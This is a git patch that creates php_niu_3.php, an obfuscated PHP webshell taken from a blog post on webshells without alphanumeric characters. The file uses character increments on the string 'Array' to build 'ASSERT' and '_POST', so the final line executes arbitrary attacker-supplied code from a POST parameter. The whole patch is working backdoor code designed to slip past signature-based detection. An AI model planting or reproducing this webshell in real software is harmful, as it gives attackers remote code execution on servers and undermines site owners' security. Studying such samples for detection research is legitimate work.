From 7fa7031974476890ac314249e5d771d2e948201f Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Wed, 19 Apr 2017 22:32:18 +0800
Subject: [PATCH] Create php_niu_3.php

from : https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
![img](https://www.leavesongs.com/media/attachment/2017/02/17/d92e3d40-a451-4fc4-a516-e0747b721c69.2b122097850e.jpg)
---
 php_niu_3.php | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)
 create mode 100644 php_niu_3.php

diff --git a/php_niu_3.php b/php_niu_3.php
new file mode 100644
index 0000000..8ec0897
--- /dev/null
+++ b/php_niu_3.php
@@ -0,0 +1,35 @@
+<?php
+$_=[];
+$_=@"$_"; // $_='Array';
+$_=$_['!'=='@']; // $_=$_[0];
+$___=$_; // A
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
+$___.=$__; // S
+$___.=$__; // S
+$__=$_;
+$__++;$__++;$__++;$__++; // E 
+$___.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
+$___.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
+$___.=$__;
+
+$____='_';
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
+$____.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
+$____.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
+$____.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
+$____.=$__;
+
+$_=$$____;
+$___($_[_]); // ASSERT($_POST[_]);